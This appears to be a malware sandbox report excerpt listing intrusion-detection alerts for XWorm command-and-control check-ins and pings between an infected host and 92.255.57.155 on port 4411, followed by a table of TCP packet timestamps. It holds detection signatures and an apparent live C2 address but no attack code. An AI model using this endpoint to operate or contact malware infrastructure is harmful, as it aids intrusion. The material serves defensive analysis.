2024-12-18T08:15:55.995603+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:15:58.442744+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:15:58.442744+0100	2858801	ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:07.619210+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:07.622697+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:19.244265+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:19.246948+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:28.596948+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:30.869806+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:30.871894+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:35.540659+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:35.586657+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:35.775609+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:35.777466+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:35.966382+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:35.971330+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:37.275818+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:37.278095+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:47.024809+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:47.027279+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:51.681721+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:51.687517+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:51.872600+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:51.874949+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:55.860763+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:55.863013+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:58.870117+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:02.360638+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:02.363894+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:07.338323+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:07.430548+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:07.529526+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:07.550481+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:07.798850+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:07.804066+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:19.369699+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:19.371972+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:28.636169+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:28.826358+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:28.828701+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.009802+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.200715+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.202778+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.366726+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.371295+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.392547+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.491088+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.683445+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.778035+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:38.088186+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:38.091676+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:41.526413+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:41.528389+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:45.623108+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:45.634389+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:57.260857+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:57.263162+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:58.430043+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:08.930832+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:08.932951+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:12.401150+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:12.403176+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:12.591925+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:12.594444+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:12.713869+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:12.715630+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:15.259849+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:15.262040+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:18.994275+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:18.999823+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:22.639364+0100	2858799	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:23.072270+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:23.074203+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:28.444810+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:34.833814+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:34.838093+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:36.479150+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:36.481824+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:37.871432+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:37.874173+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:45.510717+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:45.514127+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:57.135572+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:57.141141+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:58.456985+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:08.793859+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:08.800193+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:17.112172+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:17.253400+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:21.167141+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:21.168994+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:28.446368+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:30.432749+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:30.433858+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 08:15:32.074886084 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:32.194696903 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:32.194782019 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:32.320987940 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:32.440628052 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:43.947086096 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:44.066736937 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:44.383553028 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:44.423183918 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:44.542860985 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:55.560941935 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:55.680402040 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:55.993777990 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:55.995603085 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:15:56.115129948 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:58.442744017 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:15:58.498080969 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:07.186110020 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:07.305715084 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:07.619210005 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:07.622697115 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:07.742328882 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:18.811115026 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:18.930670977 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:19.244265079 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:19.246948004 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:19.366472006 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:28.596947908 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:28.638796091 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:30.435878992 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:30.556533098 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:30.869806051 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:30.871893883 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:30.991879940 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.108000040 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:35.227524996 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.342138052 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:35.461611032 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.467082024 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:35.540658951 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.586577892 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.586657047 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:35.706140041 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.775609016 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.777466059 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:35.897037029 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.966382027 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:35.971329927 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:36.091773033 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:36.842448950 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:36.962307930 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:37.275818110 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:37.278095007 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:37.398591042 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:46.592221975 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:46.711651087 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:47.024808884 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:47.027278900 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:47.146789074 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:51.248492002 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:51.367975950 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:51.368040085 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:51.487651110 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:51.681720972 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:51.687516928 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:51.807106018 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:51.872600079 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:51.874948978 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:51.994409084 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:55.342319012 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:55.462127924 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:55.860763073 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:55.863013029 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:16:55.982563019 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:58.870116949 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:16:58.920070887 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:01.797969103 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:01.917500973 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:02.360637903 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:02.363893986 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:02.483362913 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:06.905189991 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.024748087 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.061321020 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.180794001 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.310982943 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.338323116 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.420186043 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.430474043 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.430547953 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.529525995 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.550050020 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.550481081 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.669923067 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.798850060 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:07.804065943 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:07.923572063 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:18.936070919 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:19.055669069 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:19.369699001 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:19.371972084 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:19.491430044 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:28.217447996 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:28.337037086 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:28.636168957 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:28.732680082 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:28.826358080 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:28.828701019 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:28.948163986 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:29.577013969 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:29.696588993 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:29.696682930 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:29.816255093 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:29.816319942 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:29.935825109 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:29.936018944 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.009802103 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.055666924 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.055763960 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.175245047 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.200715065 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.202778101 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.364953041 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.366725922 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.371294975 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.392546892 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.435787916 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.491019964 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.491087914 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.513469934 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.625941992 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.654201031 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.654294014 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.683444977 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.733963013 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.774940968 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:30.778034925 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:30.897488117 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:37.654983044 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:37.774736881 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:38.088186026 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:38.091675997 CET	49705	4411	192.168.2.9	92.255.57.155
